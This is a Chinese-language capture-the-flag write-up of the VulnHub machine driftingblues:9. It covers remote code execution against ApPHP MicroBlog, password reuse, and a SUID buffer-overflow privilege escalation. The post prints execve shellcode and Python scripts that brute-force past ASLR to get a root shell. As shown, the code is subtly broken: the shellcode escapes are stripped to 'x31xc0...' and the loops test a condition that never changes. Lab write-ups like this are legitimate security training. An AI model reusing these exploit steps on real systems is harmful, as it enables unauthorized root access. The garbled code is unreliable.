VulnHub-driftingblues:9

admin 2022年5月24日00:58:03评论26 views字数 3422阅读11分24秒阅读模式

勇敢牛牛,不怕困难!!!






最近无所事事,想搞点靶机,立马拿下!




01

信息收集


1. 使用Nmap扫描目标主机:


系统基本信息为:


80端口运行着Apache httpd 2.4.10服务,网站标题为ApPHP  MicroBlog,操作系统为Debian,内核版本3.2 - 4.9,如图:


VulnHub-driftingblues:9


2. 访问80端口Web服务,在网站底部发现Admin登录入口,如图:


VulnHub-driftingblues:9


访问Admin登录页面,如图:

VulnHub-driftingblues:9


3. 测试未发现SQL注入和弱口令等,然后扫描网站目录,但未发现有价值的信息,如图:


VulnHub-driftingblues:9



02


漏洞发现与利用


4. 然后搜索ApPHPMicroBlog相关漏洞

在Exploit-DB(https://www.exploit-db.com/exploits/33070)发现远程代码执行漏洞利用脚本,如图:


VulnHub-driftingblues:9


5. 使用该脚本测试直接获得网站权限,如图:


VulnHub-driftingblues:9


03


权限提升


6. 查看网站文件发现include/base.inc.php文件中存在数据库用户名和密码,如图:


VulnHub-driftingblues:9


7. clapton用户shell


在/etc/passwd文件中发现存在普通用户clapton,和数据库用户相同,尝试使用该密码获取普通用户权限,发现当前Shell不是交互式shell,然后构造反弹Shell的命令,如图:


VulnHub-driftingblues:9


使用Python开启伪终端,使用刚刚获取到的用户名和密码成功切换到clapton用户Shell,如图:


VulnHub-driftingblues:9


8. 缓冲区溢出


在用户目录下发现input、note.txt和user.txt文件,note.txt文件中提示需要用缓冲区溢出,并给了新手32位程序缓冲区溢出学习资料:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html

https://samsclass.info/127/proj/lbuf1.htm


VulnHub-driftingblues:9


9. 将input文件下载到本地,使用checksec工具检查文件发现该文件未启用任何保护措施,如图:


VulnHub-driftingblues:9


10. 使用命令sudo chown 0:0input和sudo chmod 4755 input修改input文件所有者,并赋予程序特殊权限,如图:


VulnHub-driftingblues:9


11. 使用cyclic工具生成500个字符组成的字符串用于计算偏移量,如图:


VulnHub-driftingblues:9


然后关闭操作系统ASLR,启动gdb调试input程序,将500个字符组成的字符串传入程序并运行后程序奔溃,EIP寄存器的值为“bsaa”,如图:


VulnHub-driftingblues:9


使用cyclic -l bsaa计算出偏移量为171,构造Payload:“171个A”+“jmp esp地址”+Shellcode,内存布局如下:


VulnHub-driftingblues:9


然后使用edb-debugger随便传入参数调试程序,如图:


VulnHub-driftingblues:9


12. 运行程序后使用“Ctrl+O”快速打开Opcode Search插件,寻找jmp esp指令地址,如图:


VulnHub-driftingblues:9


13. 选择第一个地址,执行./input `python-c "print'A'*171+'x79xe3xdcxf7'+'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80'"`成功获得root权限,如图:


VulnHub-driftingblues:9


14.  但是在靶机执行时未成功,查看/proc/sys/kernel/randomize_va_space发现靶机开启了ASLR,参考https://www.jianshu.com/p/602619260df5,进行ASLR绕过,代码如下:


#!/usr/bin/python3

from subprocess import call,Popen,PIPE

 

# "x79xe3xdcxf7"

# 获取libc基址前两个字节

p=Popen('ldd ./input | grep  libc',shell=True,stdout=PIPE)

libc_addr=p.stdout.read()[-10:-6]

libc_addr=libc_addr.decode()

# 将libc基址前两个字节和jmp esp指令地址的后两个字节拼接

libc_addr='79e3'+libc_addr[2:4]+libc_addr[0:2]

libc_addr=bytes.fromhex(libc_addr)

 

pad=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

sc=b'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80'

buff=pad+libc_addr+sc

 

print(buff)

 

i=0

while 1<256:

     ret=call(['./input',buff])

     if not ret:

         break

     i+=1


依旧在本地成功,靶机中没有python3,将代码改为Python2版本后仍然失败,如图:


VulnHub-driftingblues:9


15. 最后发现是因为libc.so.6不同造成的,使用find / -name libc.so.6 2>/dev/null找到靶机的libc.so.6文件,然后下载到本地,参考https://www.cnblogs.com/luocodes/p/13901471.html中获取jmp esp指令相对libc基址的偏移地址,代码如下:


#!/usr/bin/python3

from pwn import *

context(log_level = 'debug', arch =  'i386', os = 'linux')

libc = ELF('./libc.so.6')                          

jmp_esp = asm('jmp esp')                                  

 

jmp_esp_addr_in_libc =  libc.search(jmp_esp).__next__()       

print(hex(jmp_esp_addr_in_libc))


16. 获取靶机libc中jmp esp的偏移地址,如图:


VulnHub-driftingblues:9


17. 修改提权脚本如下:


# -*- coding: utf-8 -*-

#!/usr/bin/python

from subprocess import call,Popen,PIPE

import struct

 

p=Popen("ldd ./input | grep  libc",shell=True,stdout=PIPE)

libc_addr=p.stdout.read()[-12:-2]

print(libc_addr)

eip=0x2a81+int(libc_addr,16)

jmp_esp=struct.pack('<I', eip)

pad="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

sc='x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80'

buff=pad+jmp_esp+sc

i=0

while 1<256:

     ret=call(['./input',buff])

     if not ret:

         break

     i+=1


03


完结


18. root用户Shell


由于用户目录下没有权限写文件,因此使用ln ~/input/tmp/input命令在/tmp目录下创建软链接,将提权脚本上传到靶机,执行之后成功获得root权限,如图:


VulnHub-driftingblues:9

VulnHub-driftingblues:9







原文始发于微信公众号(爱喝酒烫头的曹操):VulnHub-driftingblues:9

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日00:58:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub-driftingblues:9http://cn-sec.com/archives/1042939.html

发表评论

匿名网友 填写信息